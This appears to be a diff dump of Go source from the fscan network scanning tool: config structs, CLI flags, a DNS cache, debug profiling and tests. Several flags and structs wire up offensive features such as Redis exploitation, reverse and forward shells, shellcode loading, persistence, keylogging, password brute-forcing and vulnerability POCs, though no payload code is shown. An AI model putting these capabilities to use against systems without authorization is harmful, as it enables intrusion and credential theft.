Iface string
|
||||
WebTimeout time.Duration
|
||||
MaxRedirects int
|
||||
PacketRateLimit int64
|
||||
MaxPacketCount int64
|
||||
ICMPRate float64
|
||||
ICMPRateExplicit bool
|
||||
}
|
||||
|
||||
// OutputConfig 输出相关配置
|
||||
type OutputConfig struct {
|
||||
File string
|
||||
Format string
|
||||
DisableSave bool
|
||||
NoColor bool
|
||||
Silent bool
|
||||
DisableProgress bool
|
||||
ShowProgress bool
|
||||
LogLevel string
|
||||
Language string
|
||||
PerfStats bool
|
||||
}
|
||||
|
||||
// POCConfig POC扫描相关配置
|
||||
type POCConfig struct {
|
||||
PocPath string // POC路径
|
||||
PocName string // 指定POC名称
|
||||
Full bool // 完整POC扫描
|
||||
Num int // POC并发数
|
||||
NumExplicit bool // 用户显式指定了 -num
|
||||
Disabled bool // 禁用POC扫描
|
||||
}
|
||||
|
||||
// RedisConfig Redis利用相关配置
|
||||
type RedisConfig struct {
|
||||
Disabled bool // 禁用Redis利用
|
||||
File string // SSH密钥文件
|
||||
Shell string // 反弹Shell地址
|
||||
WritePath string // 写入路径
|
||||
WriteContent string // 写入内容
|
||||
WriteFile string // 本地文件路径
|
||||
}
|
||||
|
||||
// HTTPConfig HTTP请求相关配置
|
||||
type HTTPConfig struct {
|
||||
Cookie string // Cookie
|
||||
UserAgent string // User-Agent
|
||||
Accept string // Accept头
|
||||
}
|
||||
|
||||
// LocalExploitConfig 本地利用相关配置
|
||||
type LocalExploitConfig struct {
|
||||
ReverseShellTarget string // 反弹Shell目标
|
||||
ForwardShellPort int // 正向Shell端口
|
||||
KeyloggerOutputFile string // 键盘记录输出文件
|
||||
DownloadURL string // 下载URL
|
||||
DownloadSavePath string // 下载保存路径
|
||||
}
|
||||
|
||||
func cloneStringSlice(values []string) []string {
|
||||
if values == nil {
|
||||
return nil
|
||||
}
|
||||
return append([]string(nil), values...)
|
||||
}
|
||||
|
||||
func cloneStringSliceMap(values map[string][]string) map[string][]string {
|
||||
if values == nil {
|
||||
return nil
|
||||
}
|
||||
cloned := make(map[string][]string, len(values))
|
||||
for key, value := range values {
|
||||
cloned[key] = cloneStringSlice(value)
|
||||
}
|
||||
return cloned
|
||||
}
|
||||
|
||||
func clonePortMap(values map[int][]string) map[int][]string {
|
||||
if values == nil {
|
||||
return nil
|
||||
}
|
||||
cloned := make(map[int][]string, len(values))
|
||||
for key, value := range values {
|
||||
cloned[key] = cloneStringSlice(value)
|
||||
}
|
||||
return cloned
|
||||
}
|
||||
|
||||
const minModuleTimeout = 3 * time.Second
|
||||
|
||||
// ModuleTimeout 返回插件级超时(用于弱口令测试、服务交互等多轮协议)
|
||||
// 保证下限 3s,避免自适应把端口扫描超时压低后影响 SSH/SNMP 等交互型协议
|
||||
func (c *Config) ModuleTimeout() time.Duration {
|
||||
if c.Timeout >= minModuleTimeout {
|
||||
return c.Timeout
|
||||
}
|
||||
return minModuleTimeout
|
||||
}
|
||||
|
||||
// NewConfig 创建带默认值的Config(后备用,正常流程使用BuildConfigFromFlags)
|
||||
func NewConfig() *Config {
|
||||
return &Config{
|
||||
// 高频字段 - 使用默认常量
|
||||
Timeout: time.Duration(DefaultTimeout) * time.Second,
|
||||
ThreadNum: DefaultThreadNum,
|
||||
ThreadCeiling: DefaultThreadNum,
|
||||
ModuleThreadNum: 10,
|
||||
DisableBrute: false,
|
||||
DisablePing: false,
|
||||
DisableTcpProbe: false,
|
||||
|
||||
// 扫描模式
|
||||
Mode: DefaultScanMode,
|
||||
LocalMode: false,
|
||||
AliveOnly: false,
|
||||
MaxRetries: 3,
|
||||
|
||||
// 高级功能 - 使用默认配置
|
||||
PortMap: clonePortMap(config.DefaultPortMap),
|
||||
DefaultMap: cloneStringSlice(config.DefaultProbeMap),
|
||||
|
||||
// 分组配置 - 使用默认字典
|
||||
Credentials: CredentialConfig{
|
||||
Userdict: cloneStringSliceMap(config.DefaultUserDict),
|
||||
Passwords: cloneStringSlice(config.DefaultPasswords),
|
||||
UserPassPairs: nil,
|
||||
},
|
||||
Network: NetworkConfig{
|
||||
WebTimeout: time.Duration(5) * time.Second,
|
||||
MaxRedirects: 10,
|
||||
ICMPRate: 0.1,
|
||||
},
|
||||
Output: OutputConfig{
|
||||
File: "result.txt",
|
||||
Format: "txt",
|
||||
ShowProgress: true,
|
||||
LogLevel: DefaultLogLevel,
|
||||
Language: DefaultLanguage,
|
||||
},
|
||||
POC: POCConfig{
|
||||
Num: 20,
|
||||
},
|
||||
LocalExploit: LocalExploitConfig{
|
||||
ForwardShellPort: 4444,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
//go:build debug
|
||||
// +build debug
|
||||
|
||||
package debug
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"runtime/pprof"
|
||||
"runtime/trace"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
var (
|
||||
cpuProfile *os.File
|
||||
traceFile *os.File
|
||||
profilesPath = "./profiles"
|
||||
)
|
||||
|
||||
func Start() {
|
||||
if err := os.MkdirAll(profilesPath, 0755); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_profiles_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
var err error
|
||||
cpuProfile, err = os.Create(profilesPath + "/cpu.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_cpu_profile_failed", err))
|
||||
} else {
|
||||
if err := pprof.StartCPUProfile(cpuProfile); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_cpu_profile_failed", err))
|
||||
cpuProfile.Close()
|
||||
cpuProfile = nil
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_cpu_profile_started", profilesPath))
|
||||
}
|
||||
}
|
||||
|
||||
traceFile, err = os.Create(profilesPath + "/trace.out")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_trace_failed", err))
|
||||
} else {
|
||||
if err := trace.Start(traceFile); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_trace_failed", err))
|
||||
traceFile.Close()
|
||||
traceFile = nil
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_trace_started", profilesPath))
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_profiling_started", profilesPath))
|
||||
}
|
||||
|
||||
func Stop() {
|
||||
if cpuProfile != nil {
|
||||
pprof.StopCPUProfile()
|
||||
cpuProfile.Close()
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_cpu_profile_saved"))
|
||||
}
|
||||
|
||||
if traceFile != nil {
|
||||
trace.Stop()
|
||||
traceFile.Close()
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_trace_saved"))
|
||||
}
|
||||
|
||||
memProfile, err := os.Create(profilesPath + "/mem.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_mem_profile_failed", err))
|
||||
} else {
|
||||
runtime.GC()
|
||||
if err := pprof.WriteHeapProfile(memProfile); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_mem_profile_failed", err))
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_mem_profile_saved", profilesPath))
|
||||
}
|
||||
memProfile.Close()
|
||||
}
|
||||
|
||||
goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_goroutine_profile_failed", err))
|
||||
} else {
|
||||
if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_goroutine_profile_failed", err))
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_goroutine_profile_saved", profilesPath))
|
||||
}
|
||||
goroutineProfile.Close()
|
||||
}
|
||||
|
||||
fmt.Printf("\n[DEBUG] %s\n", i18n.Tr("debug_profiles_saved", profilesPath))
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_view_methods"))
|
||||
fmt.Printf(" %s: go tool pprof -http=:8081 %s/cpu.prof\n", i18n.GetText("debug_cpu_flamegraph"), profilesPath)
|
||||
fmt.Printf(" %s: go tool pprof -http=:8081 %s/mem.prof\n", i18n.GetText("debug_mem_flamegraph"), profilesPath)
|
||||
fmt.Printf(" %s: go tool pprof -http=:8081 %s/goroutine.prof\n", i18n.GetText("debug_goroutine_analysis"), profilesPath)
|
||||
fmt.Printf(" %s: go tool trace %s/trace.out\n", i18n.GetText("debug_execution_timeline"), profilesPath)
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !debug
|
||||
// +build !debug
|
||||
|
||||
package debug
|
||||
|
||||
// 生产版本:pprof 完全不编译进来
|
||||
|
||||
func Start() {}
|
||||
func Stop() {}
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !debug
|
||||
// +build !debug
|
||||
|
||||
package debug
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestStubStartStop(t *testing.T) {
|
||||
Start()
|
||||
Stop()
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"net"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// DNSCache 并发安全的 DNS 解析缓存
|
||||
// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用
|
||||
var DNSCache = &dnsCache{}
|
||||
|
||||
type dnsCache struct {
|
||||
m sync.Map // host -> *net.IPAddr
|
||||
}
|
||||
|
||||
// ResolveIP 解析 host 为 *net.IPAddr,结果缓存
|
||||
func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) {
|
||||
if v, ok := c.m.Load(host); ok {
|
||||
addr, _ := v.(*net.IPAddr)
|
||||
return addr, nil
|
||||
}
|
||||
addr, err := net.ResolveIPAddr("ip", host)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c.m.Store(host, addr)
|
||||
return addr, nil
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package common
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestDNSCacheResolveIPAndCacheHit(t *testing.T) {
|
||||
cache := &dnsCache{}
|
||||
|
||||
first, err := cache.ResolveIP("127.0.0.1")
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveIP loopback error = %v", err)
|
||||
}
|
||||
second, err := cache.ResolveIP("127.0.0.1")
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveIP cached loopback error = %v", err)
|
||||
}
|
||||
if first != second {
|
||||
t.Fatal("ResolveIP should return cached address on second lookup")
|
||||
}
|
||||
|
||||
if _, err := cache.ResolveIP("bad host with spaces"); err == nil {
|
||||
t.Fatal("ResolveIP should reject an invalid host")
|
||||
}
|
||||
}
|
||||
+397
@@ -0,0 +1,397 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/fatih/color"
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
// ErrShowHelp 表示用户请求显示帮助(正常退出)
|
||||
var ErrShowHelp = errors.New("show help requested")
|
||||
|
||||
// IsLocalMode 由 plugins 包注册,判断 -m 指定的是否全是本地插件
|
||||
var IsLocalMode func(mode string) bool
|
||||
|
||||
// Banner 显示程序横幅信息
|
||||
func Banner() {
|
||||
// 静默模式下完全跳过Banner显示
|
||||
if flagVars.Silent {
|
||||
return
|
||||
}
|
||||
|
||||
// 定义暗绿色系
|
||||
colors := []color.Attribute{
|
||||
color.FgGreen, // 基础绿
|
||||
color.FgHiGreen, // 亮绿
|
||||
}
|
||||
|
||||
lines := []string{
|
||||
" ___ _ ",
|
||||
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
|
||||
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
|
||||
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
|
||||
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
|
||||
}
|
||||
|
||||
// 获取最长行的长度
|
||||
maxLength := 0
|
||||
for _, line := range lines {
|
||||
if len(line) > maxLength {
|
||||
maxLength = len(line)
|
||||
}
|
||||
}
|
||||
|
||||
// 创建边框
|
||||
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
|
||||
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
|
||||
|
||||
// 打印banner
|
||||
fmt.Println(topBorder)
|
||||
|
||||
for lineNum, line := range lines {
|
||||
fmt.Print("│ ")
|
||||
if flagVars.NoColor {
|
||||
// 无色彩模式下使用普通文本
|
||||
fmt.Print(line)
|
||||
} else {
|
||||
// 使用对应的颜色打印每个字符
|
||||
c := color.New(colors[lineNum%2])
|
||||
_, _ = c.Print(line)
|
||||
}
|
||||
// 补齐空格
|
||||
padding := maxLength - len(line)
|
||||
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
|
||||
}
|
||||
|
||||
fmt.Println(bottomBorder)
|
||||
|
||||
// 打印版本信息
|
||||
versionStr := fmt.Sprintf(" Fscan %s (%s %s)", version, commit, date)
|
||||
if commit == "unknown" {
|
||||
versionStr = fmt.Sprintf(" Fscan %s", version)
|
||||
}
|
||||
if flagVars.NoColor {
|
||||
fmt.Printf("%s\n\n", versionStr)
|
||||
} else {
|
||||
c := color.New(colors[1])
|
||||
_, _ = c.Printf("%s\n\n", versionStr)
|
||||
}
|
||||
}
|
||||
|
||||
// Flag 解析命令行参数并配置扫描选项
|
||||
// 返回ErrShowHelp表示用户请求帮助(正常退出),其他error表示参数错误
|
||||
func Flag(Info *HostInfo) error {
|
||||
// 预处理语言设置 - 在定义flag之前检查lang参数
|
||||
preProcessLanguage()
|
||||
|
||||
fv := flagVars // 使用全局 FlagVars 实例
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 目标配置参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
|
||||
flag.StringVar(&fv.ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
|
||||
flag.StringVar(&fv.ExcludeHostsFile, "ehf", "", i18n.GetText("flag_exclude_hosts_file"))
|
||||
flag.StringVar(&fv.Ports, "p", config.MainPorts, i18n.GetText("flag_ports"))
|
||||
flag.StringVar(&fv.ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
|
||||
flag.StringVar(&fv.HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
|
||||
flag.StringVar(&fv.PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 扫描控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
|
||||
flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
|
||||
flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout"))
|
||||
flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
|
||||
flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
||||
flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||
flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
|
||||
flag.StringVar(&fv.LocalPlugin, "local", "", i18n.GetText("flag_local_plugin"))
|
||||
flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 认证与凭据参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Username, "user", "", i18n.GetText("flag_username"))
|
||||
flag.StringVar(&fv.Password, "pwd", "", i18n.GetText("flag_password"))
|
||||
flag.StringVar(&fv.AddUsers, "usera", "", i18n.GetText("flag_add_users"))
|
||||
flag.StringVar(&fv.AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
|
||||
flag.StringVar(&fv.UsersFile, "userf", "", i18n.GetText("flag_users_file"))
|
||||
flag.StringVar(&fv.PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
|
||||
flag.StringVar(&fv.UserPassFile, "upf", "", i18n.GetText("flag_userpass_file"))
|
||||
flag.StringVar(&fv.HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
|
||||
flag.StringVar(&fv.HashValue, "hash", "", i18n.GetText("flag_hash_value"))
|
||||
flag.StringVar(&fv.Domain, "domain", "", i18n.GetText("flag_domain"))
|
||||
flag.StringVar(&fv.SSHKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Web扫描参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.TargetURL, "u", "", i18n.GetText("flag_target_url"))
|
||||
flag.StringVar(&fv.URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
|
||||
flag.StringVar(&fv.Cookie, "cookie", "", i18n.GetText("flag_cookie"))
|
||||
flag.StringVar(&fv.UserAgent, "ua", "", i18n.GetText("flag_user_agent"))
|
||||
flag.Int64Var(&fv.WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
|
||||
flag.IntVar(&fv.MaxRedirects, "max-redirect", 10, i18n.GetText("flag_max_redirects"))
|
||||
flag.StringVar(&fv.HTTPProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
|
||||
flag.StringVar(&fv.Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
|
||||
flag.StringVar(&fv.Iface, "iface", "", i18n.GetText("flag_iface"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// POC测试参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
|
||||
flag.StringVar(&fv.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
|
||||
flag.BoolVar(&fv.PocFull, "full", false, i18n.GetText("flag_poc_full"))
|
||||
flag.BoolVar(&fv.DNSLog, "dns", false, i18n.GetText("flag_dns_log"))
|
||||
flag.IntVar(&fv.PocNum, "num", 20, i18n.GetText("flag_poc_num"))
|
||||
flag.BoolVar(&fv.DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Redis利用参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
|
||||
flag.StringVar(&fv.RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
|
||||
flag.StringVar(&fv.RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
|
||||
flag.StringVar(&fv.RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
|
||||
flag.StringVar(&fv.RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
|
||||
flag.BoolVar(&fv.DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 暴力破解控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.BoolVar(&fv.DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
|
||||
flag.IntVar(&fv.MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 发包频率控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.Int64Var(&fv.PacketRateLimit, "rate", 0, i18n.GetText("flag_packet_rate_limit"))
|
||||
flag.Int64Var(&fv.MaxPacketCount, "maxpkts", 0, i18n.GetText("flag_max_packet_count"))
|
||||
flag.Float64Var(&fv.ICMPRate, "icmp-rate", 0.1, i18n.GetText("flag_icmp_rate"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 输出与显示控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
|
||||
flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
|
||||
flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save"))
|
||||
flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
||||
flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
||||
flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
||||
flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug"))
|
||||
flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
|
||||
flag.BoolVar(&fv.PerfStats, "perf", false, i18n.GetText("flag_perf_stats"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 其他参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||
flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||
flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
|
||||
flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
|
||||
flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
|
||||
flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
|
||||
flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
|
||||
|
||||
// 文件下载插件参数
|
||||
flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
|
||||
flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
|
||||
flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||
|
||||
// 帮助参数
|
||||
flag.BoolVar(&fv.ShowHelp, "help", false, i18n.GetText("flag_help"))
|
||||
|
||||
// 解析命令行参数
|
||||
if err := parseCommandLineArgs(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 检测用户是否显式指定了 -t
|
||||
flag.Visit(func(f *flag.Flag) {
|
||||
switch f.Name {
|
||||
case "t":
|
||||
fv.ThreadNumExplicit = true
|
||||
case "time":
|
||||
fv.TimeoutExplicit = true
|
||||
case "mt":
|
||||
fv.ModuleThreadNumExplicit = true
|
||||
case "retry":
|
||||
fv.MaxRetriesExplicit = true
|
||||
case "icmp-rate":
|
||||
fv.ICMPRateExplicit = true
|
||||
case "num":
|
||||
fv.PocNumExplicit = true
|
||||
}
|
||||
})
|
||||
|
||||
// 设置语言
|
||||
i18n.SetLanguage(fv.Language)
|
||||
|
||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||
if fv.ShowHelp || shouldShowHelp(Info, fv) {
|
||||
flag.Usage()
|
||||
return ErrShowHelp
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// parseCommandLineArgs 解析命令行参数
|
||||
func parseCommandLineArgs() error {
|
||||
if err := flag.CommandLine.Parse(normalizeMultiValueFlagArgs(os.Args[1:], "-pwda")); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 显示Banner
|
||||
Banner()
|
||||
|
||||
// 检查参数冲突
|
||||
return checkParameterConflicts()
|
||||
}
|
||||
|
||||
func normalizeMultiValueFlagArgs(args []string, names ...string) []string {
|
||||
multiValueFlags := make(map[string]struct{}, len(names))
|
||||
for _, name := range names {
|
||||
multiValueFlags[name] = struct{}{}
|
||||
}
|
||||
|
||||
normalized := make([]string, 0, len(args))
|
||||
for i := 0; i < len(args); i++ {
|
||||
arg := args[i]
|
||||
name, value, ok := splitMultiValueFlag(arg, multiValueFlags)
|
||||
if !ok {
|
||||
normalized = append(normalized, arg)
|
||||
continue
|
||||
}
|
||||
|
||||
values := []string{}
|
||||
if value != "" {
|
||||
values = append(values, value)
|
||||
}
|
||||
|
||||
j := i + 1
|
||||
for ; j < len(args); j++ {
|
||||
if strings.HasPrefix(args[j], "-") {
|
||||
break
|
||||
}
|
||||
values = append(values, args[j])
|
||||
}
|
||||
i = j - 1
|
||||
|
||||
if strings.Contains(arg, "=") {
|
||||
normalized = append(normalized, name+"="+strings.Join(values, ","))
|
||||
} else {
|
||||
normalized = append(normalized, name)
|
||||
if len(values) > 0 {
|
||||
normalized = append(normalized, strings.Join(values, ","))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return normalized
|
||||
}
|
||||
|
||||
func splitMultiValueFlag(arg string, names map[string]struct{}) (string, string, bool) {
|
||||
if _, ok := names[arg]; ok {
|
||||
return arg, "", true
|
||||
}
|
||||
|
||||
for name := range names {
|
||||
prefix := name + "="
|
||||
if strings.HasPrefix(arg, prefix) {
|
||||
return name, strings.TrimPrefix(arg, prefix), true
|
||||
}
|
||||
}
|
||||
|
||||
return "", "", false
|
||||
}
|
||||
|
||||
// preProcessLanguage 预处理语言参数,在定义flag之前设置语言
|
||||
func preProcessLanguage() {
|
||||
// 遍历命令行参数查找-lang参数
|
||||
for i, arg := range os.Args {
|
||||
if arg == "-lang" && i+1 < len(os.Args) {
|
||||
lang := os.Args[i+1]
|
||||
if lang == "en" || lang == "zh" {
|
||||
flagVars.Language = lang
|
||||
i18n.SetLanguage(lang)
|
||||
return
|
||||
}
|
||||
} else if strings.HasPrefix(arg, "-lang=") {
|
||||
lang := strings.TrimPrefix(arg, "-lang=")
|
||||
if lang == "en" || lang == "zh" {
|
||||
flagVars.Language = lang
|
||||
i18n.SetLanguage(lang)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 检查环境变量
|
||||
envLang := os.Getenv("FS_LANG")
|
||||
if envLang == "en" || envLang == "zh" {
|
||||
flagVars.Language = envLang
|
||||
i18n.SetLanguage(envLang)
|
||||
}
|
||||
}
|
||||
|
||||
// shouldShowHelp 检查是否应该显示帮助信息
|
||||
func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool {
|
||||
// Web模式不需要目标参数
|
||||
if WebMode {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查是否提供了扫描目标
|
||||
hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != ""
|
||||
|
||||
// 本地模式不需要目标主机
|
||||
if fv.LocalPlugin != "" {
|
||||
return false
|
||||
}
|
||||
|
||||
// -m 指定的全是本地插件时也不需要目标
|
||||
if IsLocalMode != nil && IsLocalMode(fv.ScanMode) {
|
||||
return false
|
||||
}
|
||||
|
||||
// 如果没有提供任何扫描目标,则显示帮助
|
||||
return !hasTarget
|
||||
}
|
||||
|
||||
// checkParameterConflicts 检查参数冲突和兼容性
|
||||
// 返回error而不是调用os.Exit,让调用者决定如何处理
|
||||
func checkParameterConflicts() error {
|
||||
fv := flagVars
|
||||
|
||||
// -debug 等价于 -log debug
|
||||
if fv.Debug {
|
||||
fv.LogLevel = LogLevelDebug
|
||||
}
|
||||
|
||||
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
|
||||
if fv.AliveOnly && fv.ScanMode == "icmp" {
|
||||
LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
|
||||
}
|
||||
|
||||
// 检查本地插件参数
|
||||
if fv.LocalPlugin != "" {
|
||||
// 检查是否包含分隔符(确保只能指定单个插件)
|
||||
invalidChars := []string{",", ";", " ", "|", "&"}
|
||||
for _, char := range invalidChars {
|
||||
if strings.Contains(fv.LocalPlugin, char) {
|
||||
return fmt.Errorf("%s", i18n.Tr("param_local_multi_plugin", char))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestNormalizeMultiValueFlagArgs(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
args []string
|
||||
want []string
|
||||
}{
|
||||
{
|
||||
name: "space separated pwda values",
|
||||
args: []string{"-h", "192.168.1.1", "-pwda", "pass1", "pass2", "pass3", "-m", "ssh"},
|
||||
want: []string{"-h", "192.168.1.1", "-pwda", "pass1,pass2,pass3", "-m", "ssh"},
|
||||
},
|
||||
{
|
||||
name: "equals form with extra values",
|
||||
args: []string{"-pwda=pass1", "pass2", "-h", "192.168.1.1"},
|
||||
want: []string{"-pwda=pass1,pass2", "-h", "192.168.1.1"},
|
||||
},
|
||||
{
|
||||
name: "unrelated args unchanged",
|
||||
args: []string{"-h", "192.168.1.1", "-m", "ssh"},
|
||||
want: []string{"-h", "192.168.1.1", "-m", "ssh"},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := normalizeMultiValueFlagArgs(tt.args, "-pwda")
|
||||
if !reflect.DeepEqual(got, tt.want) {
|
||||
